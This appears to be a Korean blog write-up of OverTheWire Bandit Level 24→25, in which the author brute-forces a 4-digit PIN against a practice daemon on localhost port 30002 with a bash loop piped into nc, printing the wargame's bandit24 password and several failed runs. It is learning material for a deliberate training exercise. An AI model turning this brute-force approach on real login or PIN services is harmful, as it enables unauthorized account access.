본문 바로가기

wargame/bandit

Level 24 → Level 25

Level Goal

A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.
데몬은 포트 30002에서 대기하고 있으며 만약 bandit24의 비밀번호와 4자리의 pincode를 제공하면 bandit25의 비밀번호를 제공할 것이다. brute-forcing이라고 불리는 10000개의 모든 조합을 거치는 방법을 제외하고는 pincode를 검색하는 방법은 없다.

Code

bandit24@bandit:~$ cd /tmp
bandit24@bandit:/tmp$  nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 0005
Wrong! Please enter the correct pincode. Try again.
Timeout. Exiting.
# 중간에 너무 오래 걸려서 바꿈
bandit24@bandit:/tmp/ttt$ vi tmp.sh
bandit24@bandit:/tmp/ttt$ cat tmp.sh
#! /bin/bash

for i in {0..9999};
do
echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" >> list.txt
done
bandit24@bandit:/tmp/ttt$ ./tmp.sh
andit:/tmp/ttt$ echo list.txt | nc localhost 30002 >> result.txt
bandit24@bandit:/tmp/ttt$ cat result.txt
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Fail! You did not supply enough data. Try again.
Timeout. Exiting.
bandit24@bandit:/tmp/ttt$ nc localhost 30002 < /tmp/ttt/list.txt
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Fail! You did not supply enough data. Try again.
Wrong! Please enter the correct pincode. Try again.
#같은 문장 계속 반복
#다시 시도
bandit24@bandit:/tmp/ttt$ vi tmp.sh
bandit24@bandit:/tmp/ttt$ cat tmp.sh
#! /bin/bash

for i in {0000..9999};
do
echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" >> list.txt
done
bandit24@bandit:/tmp/ttt$ ./tmp.sh
bandit24@bandit:/tmp/ttt$ nc localhost 30002 < /tmp/ttt/list.txt
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Fail! You did not supply enough data. Try again.
Wrong! Please enter the correct pincode. Try again.
#같은 문장 계속 반복
bandit24@bandit:/tmp/ttt$ cat list.txt | nc localhost 30002 | grep -v "Wrong!"
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Timeout. Exiting.

하나씩 다 해보는 수밖에 없으므로 쉘 스크립트의 for문을 이용하여 한꺼번에 처리하려고 하였다. 전 단계처럼 /tmp 디렉토리에서 shell을 만들었다. 처음에는 한 코드 완성하고 nc 실행하고 하는 식으로 했는데 그럴 경우엔 nc가 timeout할 때까지 기다려야 하므로 너무 오래걸렸다. 그래서 코드를 한 파일에 작성한다음 nc에 한꺼번에 실행하고자 하였다.
+) bash shell 기초   bash shell if   bash 조건 주의할 것(명령어)

'wargame > bandit' 카테고리의 다른 글

Level 25 → Level 26  (0) 2019.02.28
Level 23 → Level 24  (0) 2019.02.28
Level 22 → Level 23  (0) 2019.02.28
Level 21 → Level 22  (0) 2019.02.28
Level 20 → Level 21  (0) 2019.02.28